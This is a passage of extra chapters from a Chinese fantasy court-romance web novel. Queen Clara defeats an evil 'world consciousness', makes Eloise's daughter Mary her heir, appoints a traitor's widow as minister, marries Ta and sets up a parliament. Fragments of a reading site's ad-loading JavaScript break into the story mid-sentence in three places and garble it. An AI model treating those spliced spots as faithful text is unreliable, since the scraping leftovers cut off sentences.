“第三本书的主角是安德鲁与艾洛薇的孩子,他将彻底驱逐巨魔,收复整个德林北,将托里曼人通通变成他的战奴。随后利用女巫逐渐壮大自己的巫师队伍,成立大陆最强巫者学院……最终一统西边大陆,成为千古一帝!” “哈,原本剧情应该是这样的,上一次已经被那个疯女人搅得乱七八糟了,要不是我及时……”世界意识忽然收声,意识到自己说漏了嘴。 但克劳拉抓住了祂这一瞬的漏洞,连忙逼问祂,“上一次是什么意思?” 世界意识强硬地转移话题,“与你无关!总之,你又让第三部剧情无法完成了!” 克劳拉哼笑,“哪里无法完成了?德林北在赫利斯的帮助下逐渐整合,托里曼人现在是我的军队。女巫的势力也在逐步扩大,巫师学院也成立了。这些我都替他做好了,他只需要统一西大陆,剧情怎么就不能完成了。” “哈?你们把这个世界搅得一团糟!” 无尽的愤怒吞没了世界意识,黑死病将给这片大陆带来死亡与痛苦。而之后古斯塔三世四处征战,毫不留情的烧伤抢掠,让西大陆满目疮痍,人民痛不欲生,最后他又会将目光投掷到东边的繁华宝地—— 他的统治让这个世界数百年都笼罩在死亡与绝望之中——而这些都是世界意识最好的滋养品。 原本应该是这样的!但上一次剧情就已经被那个叫艾洛薇的女人破坏。祂耗尽力量重来一次,还特意挑上了那个疯子最厌恶的女人——克劳拉·德文希,结果世界还是变成了这副模样! 这一次没有得到应有的能量的世界意识——不对,是邪神,已经没有力量再逆转时空了,祂歇斯底里地诅咒着这个世界,最终愤恨地力竭而消散。 离开前祂诅咒,“只要死亡与绝望还存在于这片大陆,阴影就绝不会消散。” 而祂话音落下后,克劳拉感觉身体一轻,某种束缚消失了,脑海中传来一声空灵的“谢谢”。 她微微一怔,世界意识消散了吗?结局达成了?世界不会崩溃了? 隔着一堵墙,隐约有婴儿的啼哭声传来,大门也在此时被敲响。 克劳拉打开门,便看到了塔。 “是个女孩。”塔说。 “是吗?我有女儿了。”克劳拉这才真情实意地笑了起来——看来世界意识给她的剧情不再是真的了。 侍卫与女仆们都簇拥在产房门口,谁都想第一个看到小殿下。 克劳拉没有马上进到产房里,而是直视塔的眼睛,“我不会有自己的孩子,这个位置以后就会是她的。” “那我会为您为她扫清一切阻碍!”塔毫不犹豫道。 克劳拉勾了勾手,在塔低下头的瞬间,吻了一下他的唇角,“下个月,储君和王夫的加冕仪式会一同进行。” 说完,她撇开脸,转身走向了产房。 塔僵立在原地,大脑停止了思考。 “愣着做什么?”克劳拉侧头唤他,“一起去看我们的王储。” “好。”塔三步并作两步,追上克劳拉,悄悄握住她的手,见克劳拉没有拒绝,他露出个傻气的笑容。 产房里还有淡淡的血腥味没有散尽,太多人围着王储了,克劳拉就没有凑热闹,而是坐到艾洛薇床边。 刚生产完的艾洛薇虽然虚弱,但没有失去意识昏睡过去。 克劳拉问:“你打算给她取什么名字?” “你打算让她姓什么?”艾洛薇反问她。 “当然是德文希。”克劳拉回答得没有一丝犹豫,但随即一顿,“古斯塔加在前缀也可以。” 艾洛薇伸手搭在她的手背上,“不用了。名字就叫玛丽,姓氏随你。” 她还是放不下玛丽,克劳拉心中微叹气,不过女孩与祖母同名也不是什么稀奇的事。 克劳拉郑重地向艾洛薇许诺,“玛丽·德文希,她会是这个国家的继承人,我不会有第二个孩子。” 艾洛薇眼睛上瞟,落到塔身上,他只是专注地注视克劳拉。 她笑道:“这是玛丽的荣幸。” * 几天后伊登赶了回来,和赫利斯一起。 最近赫利斯正在将德林北整合成一个完整的国家,伊登被她强行带走帮忙。直到听说王储将要诞世,才匆匆赶回王都。 赫利斯带来了一只才刚学会飞行的雪绒鸟做礼物,是蒂奇的孩子。 “家养的雪绒鸟通常能活二十多年,足够陪伴小玛丽很久了。” 克劳拉替玛丽收下了这份礼物。 伊登的礼物是白珠,克劳拉也不知道他从哪私藏的白珠。 “是巴特那颗啊,总归我们两都没有使用,就送给小公主。” 玛丽对外声称是克劳拉的孩子,也姓德文希,当然可以继承德文希家的东西。 只是伊登对着还没长开,还有些皱巴巴的婴儿凝视半天,认真地说:“长得不像若拉。” 克劳拉:……你要不要听听你在说什么? 而坐在床上休息的艾洛薇也一本正经地胡说八道:“我也觉得不像克劳拉太可惜了,以后孩子自卑和母亲长得不像可怎么办?” 克劳拉:“喂!” 而赫利斯则认真地建议,“伊登应该自己生一个,侄女据说会像姑姑——男人生子也不是什么不可能的事。” 伊登立刻摇头拒绝,但凡他慢了一秒大巫绝对会试图研究这些,他无比确认。 说完赫利斯目光还嫌弃地落到塔身上,似乎觉得不能替克劳拉生下后代的男人实在没什么用处。 克劳拉常因为自己太过正常,觉得和她们格格不入。 大巫也来了,带来了维尔图祭司。 大巫的礼物是一串特殊的串珠,带有女巫们最诚挚的祝福。听到她的名字,达索琳沉默了一瞬,难得有些怀念起玛丽。 祭司则让塔协助她绘制祝福图腾,塔说这是托尔曼人每个新生儿出生后都会得到的图腾赐福,希望她得到高山之神的垂青。 “您和伊登也有。”塔回想他在见到克劳拉的第一眼就感受到了克劳拉身上特有的图腾气息,“是蒂斯大人为两位绘制的吧。” 克劳拉一愣,蒂斯萝丝确实 () { $(''.inform'').remove(); $(''#content'').append('' 不完全是难产而死,她在弥留之际还为她和伊登留下了第一道也是唯一一道祝福图腾。 “他说得没错,我也是靠这个第一眼就认出你是蒂斯的孩子。”赫利斯肯定了塔。 克劳拉和伊登对视一眼,两人都没觉得悲伤,而是有一种被爱着的感觉。原以为她们的到来带来的是母亲的死亡,时隔多年后,才知道母亲的爱一直以这种方式陪伴着两人。 而这份爱也会陪伴着玛丽。 除此之外塔还送出自己的元帅印,原本还想将勋章也送给她的,但被克劳拉阻止了,玛丽以后会有自己的勋章,且会比她的长辈多得多。 弗洛伦斯和玛格丽特送来的是马驹,是西亚尔玛最好的马种,不过玛丽离学习骑马还有好几年时间。 玛格丽特连忙表示,等小玛丽到了骑马的时候,霍德华家还会赠送新的马驹。 弗洛伦斯单独送了一本她的著作,护理学相关的知识,她现在已经是护士大学的荣誉校长,年纪轻轻就担了重任。 “王储都是护士的话,那我们护士可真是太长脸了!” 安娜和雪莉也带来了她们的礼物,安娜是亲手缝制的幼儿衣物。 而雪莉带来的都是些名贵的药材,与其说是给王储的,不如说是送给艾洛薇的。 安娜早已回到巫师塔,她是优秀的女巫,待在克劳拉身边做一名贴身侍女实在太浪费她的天赋了。 不过最近大巫在策划于王都附近修建巫师塔,届时安娜会常驻这边。 而雪莉热衷于和商队走南闯北,赫利斯的船队成立后,她甚至想要坐船前往更远的大陆走商。克劳拉毫不吝啬地给钱支持她的梦想。 越来越多的礼物送进王储的宫中,光是分门别类整理,就用了好几天。 阿方索教皇又亲自跑来索滋帝国王都,要给小玛丽洗礼,克劳拉没有拒绝。虽然她并不信仰神明,但教皇洗礼带来的政治意义远大于祝福意义。 艾洛薇一刻也没有多待,才半个月就准备回公爵府了,安德鲁来王宫接她。 安德鲁——现在是卡尔男爵,他终于不用时刻带着面具,隐藏真容。虽然脸上还有着痕迹,但他没有祛除,只是请求女巫替他修改瞳色,遮掩住标志性的灰眸。 “你不准备再多看看玛丽?”克劳拉去送她,见她迫不及待地和安德鲁拥抱亲吻,莫名不满,弄得自己好像是让两人分开的恶霸一样。 “不了,玛丽是你的女儿。”艾洛薇终于甩开了一个大包袱,不要太轻松,但她想了想,望向安德鲁,“你要见见玛丽吗?” 安德鲁握着她的手置于唇边,“以后有的是机会,我现在只想好好看看你。” 克劳拉一阵牙酸,“滚吧你们,离开我的王宫!” 两人相携登上马车,克劳拉又忍不住叮嘱道:“这几天护士们会常去公爵府,不要让自己太累了,你还有很久的假期!” “知道了!照顾好玛丽!”艾洛薇朝着克劳拉飞吻,“还有好好照顾自己,国王陛下!” 艾洛薇有一整年的假期,连带着安德鲁也被她带走。两人终于可以离开这座王都,决定趁机去周边四处旅游,见一见克劳拉曾经说过的风景。 克劳拉叹口气,转身准备回书房,骑士们立刻列队跟随在她身后。 她还有大批工作待处理,早知道就不那么快放走两人了,现在她得独自处理这些麻烦! 关于世界意识的事,她终于可以和大巫们提起。 阿卡娜恍然大悟,慢吞吞地说:“原来是这样,多年前我在艾洛薇身上看到过类似的命运眷顾,又很快消散,原来是命运倒转过一次。” “最近我会再观测几次星象,不用担心,你只需要做好自己。” 阿卡娜能看到年幼的王储未来在一片光辉之中,即使邪神仍然存在,应当也不会再影响这片大陆未来的命运。 相比之下,达索琳更在意的是女巫甚至整片大陆的命运居然被一位不知名的邪神操控。 “邪神弥留之际,你听到的感谢应该才是真正的世界意识或是正神。总之剩下的事交由我们,我们会追踪邪神爪牙的踪迹,将他们彻底扼杀。” 有大巫们的承诺,克劳拉就放下心来,那种层面的生物还是交给专业人士。 而她,是时候收拾那群上蹿下跳的内阁大臣了。 113. 番外(4) 在外玛丽是克劳拉亲生的孩子,最近半个月,她鲜少出现在内阁大臣面前。目前由知道真相的温斯顿替她们打掩护。 由于克劳拉在“孕期”表现得过于强势,还能与霍德华侯爵以及王都几位将军联手推动军制改革,将各地领主手中的军权收了上来。 将领主和各贵族权力架空,领主只是国王的打工人,为克劳拉勤勤恳恳管理领地,若是有其他心思就要被换下。 内阁大臣认为克劳拉并没有怀孕,只是为了获得王位,欺骗了臣民。三番几次想往王宫中塞钉子,试图戳穿克劳拉。 但在塔的管理下,王宫严如铁桶。 玛丽满月礼,大臣也终于见到了这位王储,一时不知道该欣喜她与古斯塔二世如出一辙的灰眼睛,还是悲哀王储的性别。 至少在克劳拉面前,他们的异议毫无用处,而在同时克劳拉将塔迎娶进宫中,大臣们颇有微词,只能被迫观礼无法阻止。 甚至连玛丽的姓氏德文希,他们都无法改变,因为克劳拉理直气壮地表示,“她的母亲姓德文希,新王夫姓德文希,你让她姓古斯塔?” “这么关心孩子的姓氏,你完全可以自己生一个!” 大臣们意识到这个国家已经被德文希家族把控,古斯塔家族已成为历史。 打着为了玛丽的名号,国王彻底修改宪法,并颁布全新的财产法——从今往后,女性拥有继承权与财产独立权。 此时的大臣们终于回过味来,议会的成立迫在眉睫,克劳拉如此暴君,必须用其他手段遏制她。 早在一年前,克劳拉就已经将遏制之法送到他们面前。但此时提出,克劳拉反而开始和他们扯皮,话里话外不愿意被议会分权。 大臣们则铁了心要成立议会,内阁大臣比以往更积极,每天都在研究议会。而这些都是克劳拉的预料中。 * 玛丽满半岁时已经是个精力足够旺盛的宝宝,大多数时间是塔协助侍女们在照顾她,克劳拉太过忙碌,只在特定的时间抽空陪陪她。 尤其今天发生了一件大事,让克劳拉连惯例陪伴玛丽时间都没有了。 瓦兰许前一天下午还在和克劳拉力争理据,坚决不同意女人参政——他允许她们获得继承权,但嫁人后这些权利和财产必须移交给她们的丈夫。 克劳拉请他先回家中冷静两天,第二天清晨,雪鸮骑士告知她瓦兰许昨天晚上死亡了。 “怎么回事?”虽然瓦兰许总是和她对着干,但确实能力足够,而且有他出头,其他大臣就会老老实实缩着。 这也是克劳拉一直留着他的原因,尤其最近推进议会,克劳拉需要瓦兰许的激进让她掌握更多主动权,让女性也能够进入议会。 没想到瓦兰许突然死亡,这让克劳拉的计划不得不暂时搁浅。她必须弄清楚死亡原因,并安抚剩下的大臣,以免让他们误会瓦兰许是因为忤逆国王被明杀。 “凶手是侯爵夫人,是先交由教会法庭那边处置,还是您亲自——” 瓦兰许的夫人茱莉亚·瓦兰许,克劳拉对她的印象还停留在她严肃甚至有些精明刻薄的脸庞上,很少有女人像她那样,对私生子零容忍。 艾林是她唯一的污点,克劳拉其实挺欣赏瓦兰许夫人的手段,如果这些手段不仅仅针对私生子,还针对不负责任的侯爵本人更好。 索性瓦兰许年纪大了以后很少再拥有情妇,而克劳拉上位后更是听不得一点大臣拥有情妇的风声。 现在克劳拉只好提前结束了今天的亲子时光,将玛丽交给侍女们,与玛丽告别过后,才让骑士们将瓦兰许夫人带进宫中。 茱莉亚似乎早知道会见到国王,她的头发一丝不苟盘在脑后,衣着也足够端庄,全然不见杀死丈夫后的慌张。 “看来你已经知道我为什么召见你了,虽然我不喜瓦兰许,但他确实是内阁大臣。说出你这么做的原因,我需要给其他大臣一个合理的解释。” 茱莉亚不慌不忙让雪鸮骑士替她将瓦兰许侯爵的罪证呈上来。 私藏的火枪与众多与邻国以及其他贵族的信件往来。 “本来这些信件要被烧毁,瓦兰许通常交给信得过的下人处置,最终落到了我的手中。” 整个侯爵府都是茱莉亚在管理,难道你能指望一位侯爵对府上事务上心? 她偶然间发现执事处理的信件内容不对,于是这一年间所有类似的信件最后都由执事交给夫人。 而昨晚瓦兰许和他的侍卫更是打算连夜带着火枪图纸逃离,前往邻国请求庇护。茱莉亚可不能让一个男人影响她的家族和她的儿子,阻止侯爵的过程中,失手将其杀死。 克劳拉翻阅了一下茱莉亚呈上来的证据,确实叛国行为毋庸置疑,信件上都是瓦兰许本人的字迹,甚至还留有他的章印。 相比之下,对面的信件则谨慎得多,没有留下任何印章,克劳拉无法猜出是哪个国家。 只不过火枪的图纸是错误的,即使送出国也不可能造出来。 也就是说茱莉亚·瓦兰许不仅没有犯罪,相反她只是为国除去一个蛀虫。 “我知道了,送瓦兰许夫人回去。”这件事还是需要过一下教会法庭和检察处明面,克劳拉只能暂时将茱莉亚禁足。 此外与瓦兰许联系过的其他贵族也要揪出来审查。 罪证确凿,整个定罪过程相当顺利,除了少部分大臣宁愿相信是克劳拉故意给瓦兰许安上的罪名,也不愿意相信他真的叛国。 只是他们来不及过多为昔日的同事忧虑,掌礼大臣职位空缺,这可是内阁重臣之位,有的是贵族想要上位。 其实克劳拉心里已经有人选,比起最近内阁诸位推荐上来的各位贵族,她更倾向将这个位置交到女人手里。 掌礼大臣这个位置太重要了,国王的秘书加代言人,男性实在没法完美地理解她的意思,倒不如换个足够聪明的女人。 所以月余后她再次召见了茱莉亚·瓦兰许。 因为瓦兰许侯爵本人的做法,整个瓦兰许家族 () { $(''.inform'').remove(); $(''#content'').append('' 都被牵连理应被剥夺爵位。 而且瓦兰许家的长子布仑·瓦兰许有一个无法掩饰的污点,克劳拉需要确定茱莉亚有没有在其中推波助澜。 若是知情她只能遗憾将整个瓦兰许家贬为平民,从此后代不再拥有获得爵位的可能。 但经过一番试探之后,再结合伊丽莎白的说法,这位夫人居然真的不知情。 克劳拉将关于她儿子的污点告知给这位夫人后,她一脸震惊与不可置信,但证据摆在她面前,她沉默了。 回想这么多年,也并非无迹可寻,只是她在这方面过于信任自己的孩子,也因为忙于管理府邸,疏于对他的管教。 她请求克劳拉:“抱歉,是我没有管教好布仑,您今日召见我是要给瓦兰许家族定罪,并将我们驱逐出王都的吗?在此之前,或许我能见到伊丽莎白殿下吗,她理应得到瓦兰许家族的赎罪,我会将布仑押到她面前。” 伊丽莎白在古斯塔一世离世后进入了海伦女校,成为了一名女教师。她并不愿意再见到瓦兰许家任何人,克劳拉尊重了她。 茱莉亚神情不似作假,她是真情实意为自己儿子所作所为感到抱歉,并且想赎罪。 虽然伊丽莎白不愿意见瓦兰许家族其他人,但表示对方想要赔罪的话,就捐赠一部分财产给海伦女校。 茱莉亚接受了这个条件。 所以克劳拉愿意给予她这一机会,给了这位夫人另一种选择,三个月之内让内阁大臣闭嘴接受她成为新的掌礼大臣。 如此她自己还能保有贵族之位,她的儿子理应为他的错误付出代价,争取了茱莉亚的同意后,只是剥夺了他继承爵位的资格,也不再允许他回到帝国境内。 至于瓦兰许家族其他人如何就看这位夫人的意愿。 “那艾林·瓦兰许……” 艾林最近在妇女与幼儿保护协会任职,这是由蕾莱建立的特殊机构,专门针对保护帝国内各郡的女性和其孩子。 克劳拉特许了机构的武装权,目前由从教会离职的贾斯担任武装方面队长。 艾林被克劳拉塞进了这个协会,远离了宫廷,但又不至于无所事事。据说他在协会混得很好,或许因为童年时期被瓦兰许夫人压迫,他在幼儿保护方面很有干劲。 “艾林不会从事任何宫廷中的职位,我知道您与他有嫌隙,瓦兰许这件事影响不到他,但他也不会对您造成任何影响。” 茱莉亚是一位足够聪明且有野心的女人,机会摆在她面前,她当然不会就这么放弃,哪怕是牺牲她的儿子。 她选择接受克劳拉的挑战,成为了帝国有史以来第一位女性内阁大臣,这一头衔注定她将要承受巨大的压力。 “如果承受不起,你可以随时和我提出退出。”克劳拉知道对于一位年近半百的女性来说,这是足够大的挑战,尤其这是男人的领域。 不过茱莉亚没有退缩,“您只是需要这样一位女人,为何不能是我?” 克劳拉笑了,“期待您的表现。” 114. 番外(5) 自从塔来到王都后,虽然掌握了南部大军,但比起成为南部的元帅,他更想成为王室直属军,因为可以负责整个王宫的巡视与守卫。 和克劳拉提了几次后,反而被骂没出息,强迫他老老实实当元帅。 一直到克劳拉荣登王位,他才被允许掌控整个王都的护卫权,而南部暂时交到了其他将军手里。 军部改革之后,整个帝国军权都汇聚于克劳拉本人手中,再由她分权至四位元帅之手。 除了霍德华侯爵外——在未来这个位置会传承给玛格丽特,一位是温斯顿公爵推荐的将军,一位是巴特以往的部下,最后一位南部克劳拉还是交给了塔。 只不过目前南部由他的副手莫兰特驻守,塔本人还兼顾了王室直属军头领的职位,而整个王都的护卫权转交到了亚克手中。 国王的房间虽然比以往更难摸进去,塔还是顺利爬上了窗户。 “你可真是和爬窗过不去,不能走大门吗?”克劳拉怒道。 塔无言,老实挨骂。 更多时候塔还是只能老实睡军营,总在营中唉声叹气,不久后直属军都知道塔有心仪的对象,但只能偷偷做对方的情夫。 这也不是什么大不了的事,王都经常有守寡的贵族夫人暗地里偷偷找情夫,对象也通常是年轻的骑士。 通常来说除非骑士本人能付得起足够的金钱,从王室手中买下这位贵族夫人的再婚权,否则两人也只能一直保持这种隐秘的关系。 不过,克劳拉一世在位期间废除了王室对贵族夫人再婚权的管制,丈夫死后,女性可以自由选择再嫁或持有财产保持单身。 律法颁布当天,下属们便撺掇塔赶紧迎娶他心仪的女人,塔涩然,“她会来娶我。” 士兵们:“?” 直到顶头上司摇身一变,变为了新加冕的王夫,搞什么原来将军的偷情对象是陛下啊——那更令人惊悚了!为了活命,士兵们理智地决定让这个秘密永远烂在肚子里。 按照惯例国王和王后应当分房居住,因为彼此有需要接待的贵族,不过塔不可能单独会见贵族夫人,或是组织宴会,这项工作交给了宫中的女官。 而塔也不愿单独居住,常年赖在国王房间不愿离开。 “托里曼人理应和他的阿夏住在一起,否则是情感不好的证明。”塔难得在这方面很坚定。 阿夏是指伴侣,托里曼人通常认定伴侣后,除非死亡不会彼此分开。 就当多了个暖被窝的,克劳拉默认了塔待在她的生活空间里。 而塔严格按照雪莉的标准,时刻监督克劳拉的一日三餐,哪怕中午在军营里没法赶回来,傍晚回来后也要询问侍女们。 克劳拉不喜欢被管着,但她一旦不用餐或是吃得不多,塔也不会强求,只会哀怨地守着她办公。 被他弄得烦不过,克劳拉只好按时按量吃完,免得这人正事不做,只盯着她看。 随着玛丽长大,她将要离开奶妈,回到克劳拉身边时,国王陛下才发现,这间国王套房,一开始就没有设置储君居住的地方。 毕竟王子通常住在王后附近,或是直接和王后住在一起。而现在宫中唯一的王后正每天赖在她身边。 国王套房这一层拥有数个房间,包括国王收藏室、衣帽间、盥洗室,总之没有一间是属于王储的。 这可不行,玛丽必须得住在她的附近。 克劳拉决定修改这一层的布局,分一间房改为属于玛丽的房间,等她独立以后,再搬去自己的套间。 城堡的改建只是将国王的藏品搬去另一层,再将这间房改成王储的房间,最后再打通一下书房。 在工匠们装修时,克劳拉和塔需要短暂搬离,她一合计,不如先去洛芙宫中小住一段时间,就当是度假。 不久后就是玛丽的生日,在那边度过并举办宴会也更好。 准备离开前的晚上,克劳拉感慨:“一家三口非要挤在一层,其他王室可绝不会像我们一样。” 塔一本正经地回道:“因为其他王室婚姻的政治意义大于情感维系。” 克劳拉一下子被逗乐了,捏着他的耳垂,笑道:“你还会说这么深奥的话呢,如果我说娶你回宫中也是政治意义更大呢。” 塔反手握住了克劳拉作怪的手,知道克劳拉在逗他,他还是注视着克劳拉的眼睛,一字一句说:“拥有被您看重的政治价值是我的荣幸,维系情感也是我应承担的责任,您愿意纵容我,难道不也是对这份维系的认同吗?” 克劳拉将脸埋在塔肩膀上,笑得不可开交。笑到塔都不知道自己是否说错了什么,弄得他一阵局促,脖子红到脸。 “你可不是跟弗洛娅学的吧?还是莫兰特?”克劳拉终于笑够了,塔这人平时在她面前总不太聪明,当然绝大多数男性在她面前都显得不够聪明,塔也不是特例。 塔没说其他人教给他的都不是什么好话,尤其是莫兰特,照弗洛伦斯的说法就是油嘴滑舌没个正形。 军营里听来的也大多是荤话,塔绝不敢在克劳拉面前说,不然从此就被赶回军营了。 这是他自己看书学来的,克劳拉每天众多公务,有时甚至深夜都处理不完。塔也想多学这方面,能帮克劳拉处理些事务。 面对克劳拉的误解,他闷闷地辩解,报出了几本最近正在看的书名,都是一些历史和律政方面的书籍。 克劳拉当然知道他最近在看这些,书架上少了什么书她都一清二楚,只是没想到塔真的读进去了。以前让他看的那些也只看了个囫囵,还经常看不懂。 能让塔耐下性子读这些,也不过是因为他想要成为对克劳拉来说有用的人。 克劳拉赏赐性地跟他交换了一个吻,等把塔撩拨起来后,又按住他说今天不可以,因为明天要收拾行礼。 塔委委屈屈在克劳拉颈窝哼哼半天,被赶去盥洗室解决。 等他回来时克劳拉已经睡熟了,即使油灯昏暗,塔也能清楚地看到她眼底的青黑,以及即使睡着也无法舒展的眉心。 克劳拉远比其他君王要更加自勉,在位不到两年她在民生方面颁布的律法就远超了其他君主。 世人只将争议放在她颁布的女性相关律法上,却忽略了她对整个军部改革和民生保障上作出的贡献。 尽管克劳拉本人并不在意,塔和所有爱着她的人却不想克劳拉背负这些非议,也在为消除这些非议努力着。 塔上床时,克劳拉警觉地睁开了眼,察觉是熟悉的人才翻身将脸埋进枕头里,命令塔熄灯。 房间很快陷入一片黑暗,但塔心中没有阴霾,他的太阳在怀中。 * 说是收拾行李,实际上只有一些公文和常服要带走。毕竟洛芙宫离王宫实在不远,只有大半天的车程。 玛丽正是学走路的时候了,每天在房间内像小狗一样到处爬,见到什么都想啃上两口。 包括克劳拉佩戴饰品,不注意就会被她取走,往嘴里塞。抢走还会闹脾气,小脾气比艾洛薇还要大。 菲米娅下个月就会回王都,佩妮已经能够独自管理德林郡,所以菲米娅也能抽开身,专程来帮克劳拉教养玛丽。 现在侍女们还有塔都对玛丽过于溺爱了,预感到艾洛薇和安德鲁回来后,也会是无条件溺爱的模样。 看来以后还得由克劳拉严格要求。 克劳拉抱着玛丽,指挥着侍女们将要带走的文书与要件都收入盒子中,之后再统一搬去马车上。 玛丽在她怀中哼哼着意味不明的语言,扯着她的头发玩。 趁克劳拉分神,她将目标放到克劳拉的领口的宝石上,和克劳拉眼睛相似的祖母绿。 “玛丽,这个不可以摘。”克劳拉及时拦下她。 侍女捧着一个朴素的木盒来到她面前问道:“陛下,这是塔殿下的东西,是否需要一并带上?” 克劳拉知道这个盒子,塔经常神神秘秘往盒子里放各种东西,不过这是他的隐私,虽然有些好奇,克劳拉也没有多问。 侍女认为里面装的很重要的东西,拿不定主意只能来问她。 克劳拉边和玛丽做斗争,边说着:“带上吧。” 气恼地玛丽因为抢不过已经成年且强壮的母亲,只能将脾气发泄到眼前的木盒上。她探出身体,伸手打翻了盒子,力气之大,克劳拉差点没有抱住她。 木盒没有带锁,落到地上后里面的物品散落一地,侍女连忙躬身请罪。 克劳拉只能捏着罪魁祸首的后颈语气严厉地和她讲道理,并让侍女将东西收回盒子里。 眼尖的克劳拉注意到盒子里的东西大多数是信件,除了勋章外,还有零零碎碎这些年克劳拉送给塔或是赏赐给他的东西。 连几年前那场五月节的洋芋花,都被塔小心地做成标本收着。 克劳拉一愣,叫停了侍女,将玛丽交到其他人手中,俯身亲自收拾塔的盒子。 一些信件是已经拆开的,是她寄给塔的,更多的是封好口未署名也未寄出的信件。 除此之外,还有当初她教塔写字时的模板、写给塔的书单和随手制作的书签,写了一行克劳拉喜欢的诗句。甚至还有她的随笔画作,画完扔一旁自己都不记得的那种。 最近的还有玛丽的胎发,克劳拉亲笔写给塔的受封文书,以及王夫加冕上的誓词。 将这些东西逐个整齐放回盒子中,克劳拉说不出什么心情,好笑又有些好气。 塔真的十分宝贵这个盒子,以前她不怎么在意,现在知道了里面的东西,很难做到不在意。 玛丽闹着要回到她怀中,克劳拉合上盖子,认真交到侍女手中,“将盒子和我的私章放在一起。” 塔现在正安排路上的护卫,还有洛芙宫的巡防布局,至少要晚餐前才能见到他。 克劳拉满腹心事只能先忍着,又接过玛丽抱在怀里,“你这脾气到底像的谁,可别是你祖父。” 知道她现在心情复杂,玛丽讨好地糊了克劳拉一脸口水。 晚餐时塔回宫,克劳拉也没有提起盒子,照常和他聊些军营里的事。 明天清晨就要出发,克劳拉将会在洛芙宫休假一个月。王宫中各项事务暂由茱莉亚和温斯顿处理,除非十万火急的重大事件才会递交到她手中。 晚上,茱莉亚还没有回府,在国王书房里,与克劳拉交接一些需要特别注意的事项。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“月底艾洛薇会回都,这些等她回来你再和她协商处理了。议会的事还是一律回绝,让他们直接递交文书给我……” 温斯顿早已经习惯代掌宫廷,但茱莉亚上任半年还是第一次在国王外出时管理事务,所以克劳拉有些担心她不在,茱莉亚会受到内阁大臣刁难。 当然这半年里茱莉亚明里暗里受到过各种为难,她都很好的处理了,用实力证明她足以胜任这个位置。 “您放心休息,多陪伴小殿下,小孩子都长得很快。”茱莉亚让克劳拉安心,但从国王手中请求了亚克的协助,必要时,雪鸮骑士会出面威慑一些出格的大臣。 “太晚了,让骑士护送你回去,你现在是名正言顺的侯爵,拥有小部分护卫是必要且正当的防护手段。” 因为克劳拉收回军权,对王都之中贵族府邸的护卫数量也做出了严格的规定。 茱莉亚目前继承了瓦兰许侯爵之位,但之前的护卫因为追随罪臣瓦兰许,部分被定罪或是请离侯爵府,她也一直没有聘请过多的护卫。 显然这点护卫对一位侯爵来说是远远不够的,克劳拉准备让塔安排一些到了年龄将要离开军队的退役士兵到茱莉亚府上。 茱莉亚谢过克劳拉的好意,在雪鸮骑士的护送下离开。 她前脚刚走,后脚塔就急切地冲进书房,“希姆,看见我的盒子了吗?就是那个……” “看见了,和我的私印收在一起,明天一起带走,还是说你要把它留在宫中?”克劳拉头也没抬,随意整理了下已经没多少东西的桌面,今天的事务已经处理好了,迎接她的是一个月的假期。 “您……打开过了?”塔在门口踟蹰着不敢进来。 “你猜——玛丽睡下了没有。”克劳拉推他去洗漱,两人离开后,侍女们才进入书房将蜡烛灯熄灭。 塔几次提起盒子的事,都被克劳拉转移话题,让他独自心焦。 直到洗漱完,塔替克劳拉擦头发,克劳拉才慢吞吞拖长音调:“我看过了,玛丽将你的盒子弄到地上,我逐个看过收起来的。” 塔的动作一顿,又装作若无其事的模样,继续擦。若是不把头发弄干,克劳拉第二天早起会头疼。 半天克劳拉都没有下文,专心地给自己修剪指甲,塔终于忍不住问了,“您不说点什么吗?” “说什么?”克劳拉后仰着头看着他,装糊涂。 塔挫败,胡乱地把克劳拉的短发弄得乱七八糟,又轻柔地给她梳好,整个过程再也没有说话,很显然生闷气了。 克劳拉觉得好笑,“你可真是,我都没有生气你偷偷藏这些东西,你反倒是发脾气了?” “没有生气。”虽然这么说,但是背对克劳拉躺着。 克劳拉自己熄了灯,今天时间还早,才十一点不到,往常等她处理完事务都快十二点了。 贴着塔的背躺下,她不安分地手摸上塔的腰腹,“做吗?” “明天要早起出发。”塔闷闷地拒绝。 克劳拉收回手,转过身去,“那好吧——我可就睡觉了。” 话音刚落,塔还是实诚地追了过来。 克劳拉总是这样,好像什么都在乎,又好像都没那么在乎,总是能保持理智,哪怕是在两人最亲密的时候 塔自认为理解她,有时又会患得患失。 在彼此交缠的呼吸间,塔忽然说:“我爱你。” 克劳拉没有回应,他又贴着克劳拉的耳朵说了一遍。 后者微凉的指尖抚上他的后颈,意味不明地回:“知道了。” 塔说上瘾了,一整个白天逮着机会就腻在克劳拉身边爱来爱去的。 克劳拉忍无可忍,“闭嘴!” 世界安静了几分钟,塔怀里的玛丽来回打量两人,还是决定抛弃塔挣扎着要去到克劳拉身边。 克劳拉正一张张阅读塔那些没有寄出去的信件——都是在外征战时写给她的,只是某个胆小鬼没有勇气寄出去。 内容是些乱七八糟的日常分享,在路边看到一朵盛开的花都想到了她,于是写进信里。 “莫兰特那小子嘴上说得花里胡哨的,你是直接写得花里胡哨。” 也幸好当时塔没寄给她,不然当时的她收到这些完全没有重点,只有情感的信,肯定会连夜赶到边境把塔吊起来抽。 但在安稳的日子里,克劳拉读到这些毫无华丽词藻、字迹还有些草率、完全没有逻辑的表白,还是有些脸热。 草草看完又塞回信封里。 “等到洛芙宫,你得给我认真研读别人的诗集。还有你这字迹,在外面不要说是和我学的!” 塔张嘴想要说话,克劳拉眼疾手快捂住他的嘴,“不准再说了,知道你爱我了。” 再说下去,就会被赶出马车了,塔见好就收。 得不到关注的玛丽挥舞起拳头,嘴里含糊不清地说着什么。 克劳拉耐心听了会,发现她说的是“爱你”,显然是学着塔说的。 克劳拉心一下就软了,转头就把玛丽抱起来,亲昵地与她贴鼻子,掐着嗓子道:“我也爱你宝贝!” 塔:“……” 算了,爱女儿总比爱别人好。 115. 番外(6) 克劳拉在位第五年,议会制才彻底通过,准备落实。 大臣们原以为终于可以通过立法权来遏制克劳拉的王权,却发现国王对法案通过与否拥有一票否决权。 “开什么玩笑,他们不会真以为我要在权力最强盛的时候,弄出一个针对自己的组织吧?”克劳拉不留情面地嘲笑了大臣们的天真。 议会成立的目的,不过是克劳拉认为立法权不能掌握在个人手中,而应该集思广益。 她并非全能全知,很多行业不够了解,如何制定更全面、更能争取民众利益的法案还是需要民众自身决定。 下议院的成员将主要由普通民众和神父组成,上议院才由非王廷任职的贵族构成。 近几年内阁的任务就是让议会为民众熟知,并推动议会成员选举进程。 